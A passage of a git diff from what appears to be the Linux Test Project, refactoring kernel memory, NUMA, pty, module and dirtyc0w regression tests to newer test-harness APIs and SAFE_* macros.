-		"\t -l Number of loops:               Default: 1000\n"
-		"\t -t Number of threads to generate: Default: 30\n", progname);
-	exit(-1);
-}
-
-/******************************************************************************/
-/* Function:	allocate_free				                      */
-/*								              */
-/* Description:	This function does the allocation and free by calling malloc  */
-/*		and free fuctions. The size of the memory to be malloced is   */
-/*		determined by the caller of this function. The size can be    */
-/*		a number from the fibannoaci series, power of 2 or 3 or 5     */
-/*									      */
-/* Input:	int repeat - number of times the alloc/free is repeated.      */
-/*		int scheme  - 0 to 3; selects how fast memory size grows      */
-/*								              */
-/* Return:	1 on failure						      */
-/*		0 on success						      */
-/******************************************************************************/
-int allocate_free(int repeat,	/* number of times to repeat allocate/free    */
-		  int scheme)
-{				/* how fast to increase block size            */
+/*
+ * allocate_free() - Allocate and free test called per-thread
+ *
+ * @scheme: 0-3; selects how fast memory size grows
+ *
+ * This function does the allocation and free by calling malloc
+ * and free functions. The size of the memory to be malloced is
+ * determined by the caller of this function. The size can be
+ * a number from the fibannoaci series, power of 2 or 3 or 5
+ *
+ * Return:
+ *  0: success
+ *  1: failure
+ */
+int allocate_free(int scheme)
+{
 	int loop;
 	const int MAXPTRS = 50;	/* only 42 or so get used on 32 bit machine */
 
-	dprt(("pid[%d]: allocate_free: repeat %d, scheme %d\n", getpid(),
-	      repeat, scheme));
-
-	for (loop = 0; loop < repeat; loop++) {
-		size_t oldsize = 5;	/* remember size for fibannoci series     */
-		size_t size = sizeof(long);	/* size of next block in ptrs[]           */
-		long *ptrs[MAXPTRS];	/* the pointers allocated in this loop    */
-		int num_alloc;	/* number of elements in ptrs[] so far    */
+	for (loop = 0; loop < NUM_LOOPS; loop++) {
+		size_t oldsize = 5;
+		size_t size = sizeof(long);
+		long *ptrs[MAXPTRS];
+		int num_alloc;
 		int i;
 
-		dprt(("pid[%d]: allocate_free: loop %d of %d\n", getpid(), loop,
-		      repeat));
-
 		/* loop terminates in one of three ways:
 		 * 1. after MAXPTRS iterations
 		 * 2. if malloc fails
@@ -181,15 +136,11 @@
 		for (num_alloc = 0; num_alloc < MAXPTRS; num_alloc++) {
 			size_t newsize = 0;
 
-			dprt(("pid[%d]: loop %d/%d; num_alloc=%d; size=%u\n",
-			      getpid(), loop, repeat, num_alloc, size));
-
 			/* Malloc the next block */
 			ptrs[num_alloc] = malloc(size);
-			if (ptrs[num_alloc] == NULL) {
-				/* terminate loop if malloc couldn't give us the memory we asked for */
+			/* terminate loop if malloc fails */
+			if (!ptrs[num_alloc])
 				break;
-			}
 			ptrs[num_alloc][0] = num_alloc;
 
 			/* Increase size according to one of four schedules. */
@@ -219,10 +170,8 @@
 		}
 
 		for (i = 0; i < num_alloc; i++) {
-			dprt(("pid[%d]: freeing ptrs[i] %p\n", getpid(),
-			      ptrs[i]));
 			if (ptrs[i][0] != i) {
-				fprintf(stderr,
+				tst_res(TFAIL,
 					"pid[%d]: fail: bad sentinel value\n",
 					getpid());
 				return 1;
@@ -233,175 +182,69 @@
 
 		my_yield();
 	}
+
 	/* Success! */
 	return 0;
 }
 
-/******************************************************************************/
-/* Function:	alloc_mem				                      */
-/*								              */
-/* Description:	Decide how fast to increase block sizes, then call            */
-/*              allocate_free() to actually to the test.                      */
-/*								              */
-/* Input:	threadnum is the thread number, 0...N-1                       */
-/*              global num_loop is how many iterations to run                 */
-/*								              */
-/* Return:	pthread_exit -1	on failure				      */
-/*		pthread_exit  0 on success			              */
-/*								              */
-/******************************************************************************/
 void *alloc_mem(void *threadnum)
 {
-	struct sembuf sop[1];
-	sop[0].sem_num = 0;
-	sop[0].sem_op = 0;
-	sop[0].sem_flg = 0;
+	int err;
+
 	/* waiting for other threads starting */
-	if (semop(semid, sop, 1) == -1) {
-		if (errno != EIDRM)
-			perror("semop");
-		return (void *)-1;
-	}
+	TST_CHECKPOINT_WAIT(0);
 
 	/* thread N will use growth scheme N mod 4 */
-	int err = allocate_free(num_loop, ((uintptr_t) threadnum) % 4);
-	fprintf(stdout,
+	err = allocate_free(((uintptr_t)threadnum) % 4);
+	tst_res(TINFO,
 		"Thread [%d]: allocate_free() returned %d, %s.  Thread exiting.\n",
-		(int)(uintptr_t) threadnum, err,
+		(int)(uintptr_t)threadnum, err,
 		(err ? "failed" : "succeeded"));
 	return (void *)(uintptr_t) (err ? -1 : 0);
 }
 
-/******************************************************************************/
-/*								 	      */
-/* Function:	main							      */
-/*									      */
-/* Description:	This is the entry point to the program. This function will    */
-/*		parse the input arguments and set the values accordingly. If  */
-/*		no arguments (or desired) are provided default values are used*/
-/*		refer the usage function for the arguments that this program  */
-/*		takes. It also creates the threads which do most of the dirty */
-/*		work. If the threads exits with a value '0' the program exits */
-/*		with success '0' else it exits with failure '-1'.             */
-/*									      */
-/* Return:	-1 on failure						      */
-/*		 0 on success						      */
-/*									      */
-/******************************************************************************/
-int main(int argc,		/* number of input parameters                 */
-	 char **argv)
-{				/* pointer to the command line arguments.     */
-	int c;			/* command line options                       */
-	int num_thrd = MAXT;	/* number of threads to create                */
-	int thrd_ndx;		/* index into the array of thread ids         */
-	pthread_t *thrdid;	/* the threads                                */
-	extern int optopt;	/* options to the program                     */
-	struct sembuf sop[1];
-	int ret = 0;
+static void stress_malloc(void)
+{
+	int thread_index;
 
-	while ((c = getopt(argc, argv, "hl:t:")) != -1) {
-		switch (c) {
-		case 'h':
-			usage(argv[0]);
-			break;
-		case 'l':
-			if ((num_loop = atoi(optarg)) == 0)
-				OPT_MISSING(argv[0], optopt);
-			else if (num_loop < 1) {
-				fprintf(stdout,
-					"WARNING: bad argument. Using default\n");
-				num_loop = MAXL;
-			}
-			break;
-		case 't':
-			if ((num_thrd = atoi(optarg)) == 0)
-				OPT_MISSING(argv[0], optopt);
-			else if (num_thrd < 1) {
-				fprintf(stdout,
-					"WARNING: bad argument. Using default\n");
-				num_thrd = MAXT;
-			}
-			break;
-		default:
-			usage(argv[0]);
-			break;
+	for (thread_index = 0; thread_index < NUM_THREADS; thread_index++) {
+		SAFE_PTHREAD_CREATE(&thread_id[thread_index], NULL, alloc_mem,
+				    (void *)(uintptr_t)thread_index);
+	}
+
+	/* Wake up all threads */
+	TST_CHECKPOINT_WAKE2(0, NUM_THREADS);
+
+	/* wait for all threads to finish */
+	for (thread_index = 0; thread_index < NUM_THREADS; thread_index++) {
+		void *status;
+
+		SAFE_PTHREAD_JOIN(thread_id[thread_index], &status);
+		if ((intptr_t)status != 0) {
+			tst_res(TFAIL, "thread [%d] - exited with errors\n",
+				thread_index);
 		}
 	}
 
-	dprt(("number of times to loop in the thread = %d\n", num_loop));
-
-	thrdid = malloc(sizeof(pthread_t) * num_thrd);
-	if (thrdid == NULL) {
-		perror("main(): allocating space for thrdid[] malloc()");
-		return 1;
-	}
-
-	semid = semget(IPC_PRIVATE, 1, IPC_CREAT | 0666);
-	if (semid < 0) {
-		perror("Semaphore creation failed  Reason:");
-	}
-
-	sop[0].sem_num = 0;
-	sop[0].sem_op = 1;
-	sop[0].sem_flg = 0;
-	if (semop(semid, sop, 1) == -1) {
-		perror("semop");
-		ret = -1;
-		goto out;
-	}
-
-	for (thrd_ndx = 0; thrd_ndx < num_thrd; thrd_ndx++) {
-		if (pthread_create(&thrdid[thrd_ndx], NULL, alloc_mem,
-				   (void *)(uintptr_t) thrd_ndx)) {
-			int err = errno;
-			if (err == EINTR) {
-				fprintf(stderr,
-					"main(): pthread_create failed with EINTR!\n");
-				ret = -1;
-				goto out;
-			}
-			perror("main(): pthread_create()");
-			ret = -11;
-			goto out;
-		}
-	}
-	my_yield();
-
-	sop[0].sem_op = -1;
-	if (semop(semid, sop, 1) == -1) {
-		perror("semop");
-		ret = -1;
-		goto out;
-	}
-
-	for (thrd_ndx = 0; thrd_ndx < num_thrd; thrd_ndx++) {
-		void *th_status;	/* exit status of LWP */
-		if (pthread_join(thrdid[thrd_ndx], &th_status) != 0) {
-			perror("main(): pthread_join()");
-			ret = -1;
-			goto out;
-		} else {
-			if ((intptr_t) th_status != 0) {
-				fprintf(stderr,
-					"main(): thread [%d] - exited with errors\n",
-					thrd_ndx);
-				ret = -1;
-				goto out;
-			}
-			dprt(("main(): thread [%d]: exited without errors\n",
-			      thrd_ndx));
-		}
-		my_yield();
-	}
-	printf("main(): test passed.\n");
-out:
-	if (semctl(semid, 0, IPC_RMID) == -1) {
-		perror("semctl\n");
-		ret = -1;
-	}
-	if (thrdid) {
-		free(thrdid);
-		thrdid = NULL;
-	}
-	exit(ret);
+	tst_res(TPASS, "malloc stress test finished successfully");
 }
+
+static void setup(void)
+{
+	thread_id = SAFE_MALLOC(sizeof(pthread_t) * NUM_THREADS);
+}
+
+static void cleanup(void)
+{
+	if (thread_id) {
+		free(thread_id);
+		thread_id = NULL;
+	}
+}
+
+static struct tst_test test = {
+	.needs_checkpoints = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = stress_malloc,
+};
diff --git a/testcases/kernel/mem/oom/oom02.c b/testcases/kernel/mem/oom/oom02.c
index 3434a34..45e64d3 100644
--- a/testcases/kernel/mem/oom/oom02.c
+++ b/testcases/kernel/mem/oom/oom02.c
@@ -26,11 +26,14 @@
 #include <errno.h>
 #include <fcntl.h>
 #include <stdio.h>
+#if HAVE_NUMA_H
+#include <numa.h>
+#endif
+
 #include "numa_helper.h"
 #include "mem.h"
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
+#ifdef HAVE_NUMA_V2
 
 static void verify_oom(void)
 {
@@ -71,6 +74,6 @@
 	.test_all = verify_oom,
 };
 
-#else /* no NUMA */
-	TST_TEST_TCONF("no NUMA development packages installed.");
+#else
+	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
 #endif
diff --git a/testcases/kernel/mem/oom/oom03.c b/testcases/kernel/mem/oom/oom03.c
index f883bc0..c4b90c1 100644
--- a/testcases/kernel/mem/oom/oom03.c
+++ b/testcases/kernel/mem/oom/oom03.c
@@ -20,16 +20,20 @@
  * the GNU General Public License for more details.
  */
 
+#include "config.h"
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <errno.h>
 #include <fcntl.h>
 #include <stdio.h>
+#if HAVE_NUMA_H
+#include <numa.h>
+#endif
+
 #include "numa_helper.h"
 #include "mem.h"
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
+#ifdef HAVE_NUMA_V2
 
 static void verify_oom(void)
 {
@@ -85,5 +89,5 @@
 };
 
 #else
-	TST_TEST_TCONF("no NUMA development packages installed.");
+	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
 #endif
diff --git a/testcases/kernel/mem/oom/oom04.c b/testcases/kernel/mem/oom/oom04.c
index e4e70e2..7dbf9ce 100644
--- a/testcases/kernel/mem/oom/oom04.c
+++ b/testcases/kernel/mem/oom/oom04.c
@@ -26,11 +26,14 @@
 #include <errno.h>
 #include <fcntl.h>
 #include <stdio.h>
+#if HAVE_NUMA_H
+#include <numa.h>
+#endif
+
 #include "numa_helper.h"
 #include "mem.h"
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
+#ifdef HAVE_NUMA_V2
 
 static void verify_oom(void)
 {
@@ -93,6 +96,6 @@
 	.test_all = verify_oom,
 };
 
-#else /* no NUMA */
-	TST_TEST_TCONF("no NUMA development packages installed.");
+#else
+	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
 #endif
diff --git a/testcases/kernel/mem/oom/oom05.c b/testcases/kernel/mem/oom/oom05.c
index bdf5d19..eb24531 100644
--- a/testcases/kernel/mem/oom/oom05.c
+++ b/testcases/kernel/mem/oom/oom05.c
@@ -26,11 +26,14 @@
 #include <errno.h>
 #include <fcntl.h>
 #include <stdio.h>
+#if HAVE_NUMA_H
+#include <numa.h>
+#endif
+
 #include "numa_helper.h"
 #include "mem.h"
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
+#ifdef HAVE_NUMA_V2
 
 static void verify_oom(void)
 {
@@ -119,6 +122,6 @@
 	.test_all = verify_oom,
 };
 
-#else /* no NUMA */
-	TST_TEST_TCONF("no NUMA development packages installed.");
+#else
+	TST_TEST_TCONF("test requires libnuma >= 2 and it's development packages");
 #endif
diff --git a/testcases/kernel/mem/swapping/swapping01.c b/testcases/kernel/mem/swapping/swapping01.c
index 5610806..6ac802b 100644
--- a/testcases/kernel/mem/swapping/swapping01.c
+++ b/testcases/kernel/mem/swapping/swapping01.c
@@ -120,8 +120,7 @@
 	long swap_free_now, swapped;
 
 	/* wait child stop */
-	if (waitpid(pid, &status, WUNTRACED) == -1)
-		tst_brk(TBROK | TERRNO, "waitpid");
+	SAFE_WAITPID(pid, &status, WUNTRACED);
 	if (!WIFSTOPPED(status))
 		tst_brk(TBROK, "child was not stopped.");
 
@@ -148,8 +147,7 @@
 		 swapped / 1024);
 	kill(pid, SIGCONT);
 	/* wait child exit */
-	if (waitpid(pid, &status, 0) == -1)
-		tst_brk(TBROK | TERRNO, "waitpid");
+	SAFE_WAITPID(pid, &status, 0);
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/mem/thp/thp02.c b/testcases/kernel/mem/thp/thp02.c
index acc70e2..6502210 100644
--- a/testcases/kernel/mem/thp/thp02.c
+++ b/testcases/kernel/mem/thp/thp02.c
@@ -90,6 +90,8 @@
 	if (access(PATH_THP, F_OK) == -1)
 		tst_brk(TCONF, "THP not enabled in kernel?");
 
+	check_hugepage();
+
 	ps = sysconf(_SC_PAGESIZE);
 	hps = SAFE_READ_MEMINFO("Hugepagesize:") * 1024;
 	size = hps * 4;
diff --git a/testcases/kernel/mem/thp/thp03.c b/testcases/kernel/mem/thp/thp03.c
index 19db449..c606250 100644
--- a/testcases/kernel/mem/thp/thp03.c
+++ b/testcases/kernel/mem/thp/thp03.c
@@ -82,6 +82,8 @@
 	if (access(PATH_THP, F_OK) == -1)
 		tst_brk(TCONF, "THP not enabled in kernel?");
 
+	check_hugepage();
+
 	hugepage_size = SAFE_READ_MEMINFO("Hugepagesize:") * KB;
 	unaligned_size = hugepage_size * 4 - 1;
 	page_size = SAFE_SYSCONF(_SC_PAGESIZE);
diff --git a/testcases/kernel/mem/tunable/max_map_count.c b/testcases/kernel/mem/tunable/max_map_count.c
index e47543d..93a764d 100644
--- a/testcases/kernel/mem/tunable/max_map_count.c
+++ b/testcases/kernel/mem/tunable/max_map_count.c
@@ -208,7 +208,6 @@
 }
 
 static struct tst_test test = {
-	.tid = "max_map_count",
 	.needs_root = 1,
 	.forks_child = 1,
 	.setup = setup,
diff --git a/testcases/kernel/mem/vma/vma01.c b/testcases/kernel/mem/vma/vma01.c
index f800ffa..3132291 100644
--- a/testcases/kernel/mem/vma/vma01.c
+++ b/testcases/kernel/mem/vma/vma01.c
@@ -51,6 +51,7 @@
 #include <string.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 #define MAPS_FILE "/proc/self/maps"
 
@@ -130,8 +131,7 @@
 		}
 		exit(255);
 	default:
-		if (waitpid(-1, &status, 0) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+		SAFE_WAITPID(cleanup, -1, &status, 0);
 		if (!WIFEXITED(status))
 			tst_brkm(TBROK, cleanup, "child exited abnormally.");
 		check_status(WEXITSTATUS(status));
@@ -155,8 +155,7 @@
 		tst_brkm(TBROK | TERRNO, cleanup, "mmap");
 	memset(t, 'a', ps);
 	p = t + 3 * ps;
-	if (munmap(t, 9 * ps) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "munmap");
+	SAFE_MUNMAP(cleanup, t, 9 * ps);
 }
 
 static void *get_end_addr(void *addr_s)
diff --git a/testcases/kernel/mem/vma/vma02.c b/testcases/kernel/mem/vma/vma02.c
index ae35b2a..33d000d 100644
--- a/testcases/kernel/mem/vma/vma02.c
+++ b/testcases/kernel/mem/vma/vma02.c
@@ -49,9 +49,8 @@
 char *TCID = "vma02";
 int TST_TOTAL = 1;
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
-#if defined(LIBNUMA_API_VERSION) && LIBNUMA_API_VERSION == 2
+#ifdef HAVE_NUMA_V2
+
 static unsigned long pagesize;
 static int opt_node;
 static char *opt_nodestr;
@@ -163,15 +162,10 @@
 {
 	printf("  -n      Number of NUMA nodes\n");
 }
-#else /* libnuma v1 */
+
+#else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "XXX: test is only supported on libnuma v2.");
-}
-#endif
-#else /* no NUMA */
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "no NUMA development packages installed.");
+	tst_brkm(TCONF, NULL, "test requires libnuma >= 2 and it's development packages");
 }
 #endif
diff --git a/testcases/kernel/mem/vma/vma03.c b/testcases/kernel/mem/vma/vma03.c
index edad9f4..4b34ab0 100644
--- a/testcases/kernel/mem/vma/vma03.c
+++ b/testcases/kernel/mem/vma/vma03.c
@@ -49,6 +49,7 @@
 #include <unistd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "tst_kernel.h"
 
 char *TCID = "vma03";
@@ -84,9 +85,7 @@
 	for (lc = 0; TEST_LOOPING(lc); lc++) {
 		tst_count = 0;
 
-		fd = open(TESTFILE, O_RDWR);
-		if (fd == -1)
-			tst_brkm(TBROK | TERRNO, NULL, "open %s", TESTFILE);
+		fd = SAFE_OPEN(NULL, TESTFILE, O_RDWR);
 
 		/*
 		 * The pgoff is counted in 4K units and must be page-aligned,
@@ -131,9 +130,7 @@
 
 	tst_tmpdir();
 
-	fd = creat(TESTFILE, 0644);
-	if (fd == -1)
-		tst_brkm(TBROK | TERRNO, NULL, "creat %s", TESTFILE);
+	fd = SAFE_CREAT(NULL, TESTFILE, 0644);
 	close(fd);
 
 	TEST_PAUSE;
diff --git a/testcases/kernel/mem/vma/vma04.c b/testcases/kernel/mem/vma/vma04.c
index 5e2cc91..a5918bc 100644
--- a/testcases/kernel/mem/vma/vma04.c
+++ b/testcases/kernel/mem/vma/vma04.c
@@ -53,9 +53,8 @@
 char *TCID = "vma04";
 int TST_TOTAL = 5;
 
-#if HAVE_NUMA_H && HAVE_LINUX_MEMPOLICY_H && HAVE_NUMAIF_H \
-	&& HAVE_MPOL_CONSTANTS
-#if defined(LIBNUMA_API_VERSION) && LIBNUMA_API_VERSION == 2
+#ifdef HAVE_NUMA_V2
+
 static unsigned long pagesize;
 static int opt_node;
 static char *opt_nodestr;
@@ -325,15 +324,9 @@
 	printf("  -n      Number of NUMA nodes\n");
 }
 
-#else /* libnuma v1 */
+#else
 int main(void)
 {
-	tst_brkm(TCONF, NULL, "XXX: test is only supported on libnuma v2.");
-}
-#endif
-#else /* no NUMA */
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "no NUMA development packages installed.");
+	tst_brkm(TCONF, NULL, "test requires libnuma >= 2 and it's development packages");
 }
 #endif
diff --git a/testcases/kernel/module/create_module/create_module02.c b/testcases/kernel/module/create_module/create_module02.c
index ff28bf2..f275adf 100644
--- a/testcases/kernel/module/create_module/create_module02.c
+++ b/testcases/kernel/module/create_module/create_module02.c
@@ -91,6 +91,7 @@
 #include <asm/atomic.h>
 #include <linux/module.h>
 #include "test.h"
+#include "safe_macros.h"
 
 #ifndef PAGE_SIZE
 #define PAGE_SIZE sysconf(_SC_PAGE_SIZE)
@@ -210,10 +211,7 @@
 void cleanup1(void)
 {
 	/* Change effective user id to root */
-	if (seteuid(0) == -1) {
-		tst_brkm(TBROK, NULL, "seteuid failed to set the effective"
-			 " uid to root");
-	}
+	SAFE_SETEUID(NULL, 0);
 }
 
 int setup2(void)
diff --git a/testcases/kernel/module/delete_module/delete_module02.c b/testcases/kernel/module/delete_module/delete_module02.c
index edfe638..f92639e 100644
--- a/testcases/kernel/module/delete_module/delete_module02.c
+++ b/testcases/kernel/module/delete_module/delete_module02.c
@@ -33,12 +33,7 @@
 #include <sys/types.h>
 #include <unistd.h>
 #include <limits.h>
-#if HAVE_LINUX_MODULE_H
-#include <linux/module.h>
-#else
-/* As per http://tomoyo.sourceforge.jp/cgi-bin/lxr/source/include/linux/moduleparam.h?a=ppc#L17 ... */
-#define MODULE_NAME_LEN	( 64 - sizeof(unsigned long) )
-#endif
+
 #include <sys/mman.h>
 #include "test.h"
 #include "safe_macros.h"
@@ -48,6 +43,12 @@
 #define BASEMODNAME	"dummy"
 #define LONGMODNAMECHAR	'm'	/* Arbitrarily selected */
 
+/*
+ * From kernel internal headers: include/linux/module.h
+ * include/linux/moduleparam.h
+ */
+#define MODULE_NAME_LEN	( 64 - sizeof(unsigned long) )
+
 char *TCID = "delete_module02";
 
 static char nobody_uid[] = "nobody";
diff --git a/testcases/kernel/numa/Makefile b/testcases/kernel/numa/Makefile
index f5e1881..48494e4 100644
--- a/testcases/kernel/numa/Makefile
+++ b/testcases/kernel/numa/Makefile
@@ -20,7 +20,7 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-CPPFLAGS		+= -D_GNU_SOURCE -DNUMA_VERSION1_COMPATIBILITY
+CPPFLAGS		+= -D_GNU_SOURCE
 
 LDLIBS 			+= $(NUMA_LIBS)
 
diff --git a/testcases/kernel/power_management/runpwtests03.sh b/testcases/kernel/power_management/runpwtests03.sh
index d4ea88b..1119793 100755
--- a/testcases/kernel/power_management/runpwtests03.sh
+++ b/testcases/kernel/power_management/runpwtests03.sh
@@ -32,7 +32,7 @@
 	for cpu in $(seq 0 "${total_cpus}" )
 	do
 		cpufiles=$(find /sys/devices/system/cpu/cpu"${cpu}"/cpufreq/ \
-			-name "*" -type f)
+			-name "*" -type f -perm /400)
 		for files in ${cpufiles}
 		do
 			cat ${files} >/dev/null 2>&1
diff --git a/testcases/kernel/pty/hangup01.c b/testcases/kernel/pty/hangup01.c
index 5527bce..aac3955 100644
--- a/testcases/kernel/pty/hangup01.c
+++ b/testcases/kernel/pty/hangup01.c
@@ -35,6 +35,7 @@
 
 /** LTP Port **/
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "hangup01";	/* Test program identifier.    */
 int TST_TOTAL = 5;		/* Total number of test cases. */
@@ -213,9 +214,7 @@
 	pid_t childpid;
 
 /*--------------------------------------------------------------------*/
-	masterfd = open(MASTERCLONE, O_RDWR);
-	if (masterfd < 0)
-		tst_brkm(TBROK | TERRNO, NULL, "open %s", MASTERCLONE);
+	masterfd = SAFE_OPEN(NULL, MASTERCLONE, O_RDWR);
 
 	slavename = ptsname(masterfd);
 	if (slavename == NULL)
diff --git a/testcases/kernel/pty/ptem01.c b/testcases/kernel/pty/ptem01.c
index 8cfc02a..68994d4 100644
--- a/testcases/kernel/pty/ptem01.c
+++ b/testcases/kernel/pty/ptem01.c
@@ -36,6 +36,7 @@
 
 /** LTP Port **/
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "ptem01";		/* Test program identifier.    */
 int TST_TOTAL = 6;		/* Total number of test cases. */
@@ -58,10 +59,7 @@
 	struct termio termio;
 	struct termios termios;
 
-	masterfd = open(MASTERCLONE, O_RDWR);
-	if (masterfd < 0) {
-		tst_brkm(TBROK, NULL, "%s", MASTERCLONE);
-	}
+	masterfd = SAFE_OPEN(NULL, MASTERCLONE, O_RDWR);
 
 	slavename = ptsname(masterfd);
 	if (slavename == NULL) {
@@ -140,10 +138,7 @@
 	struct winsize wsz1 = { 24, 80, 5, 10 };
 	struct winsize wsz2 = { 60, 100, 11, 777 };
 
-	masterfd = open(MASTERCLONE, O_RDWR);
-	if (masterfd < 0) {
-		tst_brkm(TBROK, NULL, "%s", MASTERCLONE);
-	}
+	masterfd = SAFE_OPEN(NULL, MASTERCLONE, O_RDWR);
 
 	slavename = ptsname(masterfd);
 	if (slavename == NULL) {
@@ -221,10 +216,7 @@
 	int masterfd, slavefd;
 	char *slavename;
 
-	masterfd = open(MASTERCLONE, O_RDWR);
-	if (masterfd < 0) {
-		tst_brkm(TBROK, NULL, "%s", MASTERCLONE);
-	}
+	masterfd = SAFE_OPEN(NULL, MASTERCLONE, O_RDWR);
 
 	slavename = ptsname(masterfd);
 	if (slavename == NULL) {
@@ -272,10 +264,7 @@
 	int masterfd, slavefd, slavefd2, slavefd3;
 	char *slavename;
 
-	masterfd = open(MASTERCLONE, O_RDWR);
-	if (masterfd < 0) {
-		tst_brkm(TBROK, NULL, "%s", MASTERCLONE);
-	}
+	masterfd = SAFE_OPEN(NULL, MASTERCLONE, O_RDWR);
 
 	slavename = ptsname(masterfd);
 	if (slavename == NULL) {
@@ -396,10 +385,7 @@
 	char *slavename;
 	struct termios termios;
 
-	masterfd = open(MASTERCLONE, O_RDWR);
-	if (masterfd < 0) {
-		tst_brkm(TBROK, NULL, "%s", MASTERCLONE);
-	}
+	masterfd = SAFE_OPEN(NULL, MASTERCLONE, O_RDWR);
 
 	slavename = ptsname(masterfd);
 	if (slavename == NULL) {
diff --git a/testcases/kernel/pty/pty01.c b/testcases/kernel/pty/pty01.c
index 283612d..d390ce7 100644
--- a/testcases/kernel/pty/pty01.c
+++ b/testcases/kernel/pty/pty01.c
@@ -37,6 +37,7 @@
 
 /** LTP Port **/
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "pty01";		/* Test program identifier.    */
 int TST_TOTAL = 5;		/* Total number of test cases. */
@@ -78,10 +79,7 @@
 	struct stat st;
 	char buf[TESTSIZE];
 
-	masterfd = open(MASTERCLONE, O_RDWR);
-	if (masterfd < 0) {
-		tst_brkm(TBROK | TERRNO, NULL, MASTERCLONE);
-	}
+	masterfd = SAFE_OPEN(NULL, MASTERCLONE, O_RDWR);
 
 	slavename = ptsname(masterfd);
 	if (slavename == NULL) {
@@ -115,10 +113,7 @@
 		tst_brkm(TBROK | TERRNO, NULL, "unlockpt() failed");
 	}
 
-	slavefd = open(slavename, O_RDWR);
-	if (slavefd < 0) {
-		tst_brkm(TBROK, NULL, "Could not open %s", slavename);
-	}
+	slavefd = SAFE_OPEN(NULL, slavename, O_RDWR);
 
 	/*
 	 * test writing to the master / reading from the slave
@@ -202,10 +197,7 @@
 	char *slavename;
 	char c;
 
-	masterfd = open(MASTERCLONE, O_RDWR);
-	if (masterfd < 0) {
-		tst_brkm(TBROK | TERRNO, NULL, MASTERCLONE);
-	}
+	masterfd = SAFE_OPEN(NULL, MASTERCLONE, O_RDWR);
 
 	slavename = ptsname(masterfd);
 	if (slavename == NULL) {
@@ -220,10 +212,7 @@
 		tst_brkm(TBROK | TERRNO, NULL, "unlockpt() call failed");
 	}
 
-	slavefd = open(slavename, O_RDWR);
-	if (slavefd < 0) {
-		tst_brkm(TBROK | TERRNO, NULL, "Could not open %s", slavename);
-	}
+	slavefd = SAFE_OPEN(NULL, slavename, O_RDWR);
 
 	/*
 	 * close pty fds.  See what happens when we close the master
@@ -264,10 +253,7 @@
 {
 	int masterfd;		/* master pty fd */
 
-	masterfd = open(MASTERCLONE, O_RDWR);
-	if (masterfd < 0) {
-		tst_brkm(TBROK, NULL, MASTERCLONE);
-	}
+	masterfd = SAFE_OPEN(NULL, MASTERCLONE, O_RDWR);
 
 	if (ioctl(masterfd, TIOCGWINSZ, NULL) == 0) {
 		tst_brkm(TFAIL | TERRNO, NULL,
@@ -288,10 +274,7 @@
 	int slavefd3;
 	char *slavename;
 
-	masterfd = open(MASTERCLONE, O_RDWR);
-	if (masterfd < 0) {
-		tst_brkm(TBROK, NULL, "%s", MASTERCLONE);
-	}
+	masterfd = SAFE_OPEN(NULL, MASTERCLONE, O_RDWR);
 
 	slavename = ptsname(masterfd);
 	if (slavename == NULL) {
@@ -306,10 +289,7 @@
 		tst_brkm(TBROK | TERRNO, NULL, "unlockpt() call failed");
 	}
 
-	slavefd = open(slavename, O_RDWR);
-	if (slavefd < 0) {
-		tst_brkm(TBROK | TERRNO, NULL, "Could not open %s", slavename);
-	}
+	slavefd = SAFE_OPEN(NULL, slavename, O_RDWR);
 
 	slavefd2 = open(slavename, O_RDWR);
 	if (slavefd < 0) {
diff --git a/testcases/kernel/security/dirtyc0w/dirtyc0w.c b/testcases/kernel/security/dirtyc0w/dirtyc0w.c
index b8094ba..3da40a9 100644
--- a/testcases/kernel/security/dirtyc0w/dirtyc0w.c
+++ b/testcases/kernel/security/dirtyc0w/dirtyc0w.c
@@ -81,6 +81,7 @@
 		SAFE_EXECLP("dirtyc0w_child", "dirtyc0w_child", NULL);
 	}
 
+	TST_CHECKPOINT_WAIT(0);
 	for (i = 0; i < 100; i++)  {
 		usleep(10000);
 
@@ -104,6 +105,7 @@
 
 static struct tst_test test = {
 	.needs_tmpdir = 1,
+	.needs_checkpoints = 1,
 	.forks_child = 1,
 	.needs_root = 1,
 	.setup = setup,
diff --git a/testcases/kernel/security/dirtyc0w/dirtyc0w_child.c b/testcases/kernel/security/dirtyc0w/dirtyc0w_child.c
index 49abdd6..bb93c62 100644
--- a/testcases/kernel/security/dirtyc0w/dirtyc0w_child.c
+++ b/testcases/kernel/security/dirtyc0w/dirtyc0w_child.c
@@ -104,7 +104,10 @@
 	int fd;
 	struct stat st;
 
+	tst_reinit();
+
 	SAFE_SIGNAL(SIGUSR1, sighandler);
+	TST_CHECKPOINT_WAKE(0);
 
 	/* Open it read only and map */
 	fd = SAFE_OPEN(FNAME, O_RDONLY);
diff --git a/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c b/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c
index f67eb68..f7ae77c 100644
--- a/testcases/kernel/security/integrity/ima/src/ima_boot_aggregate.c
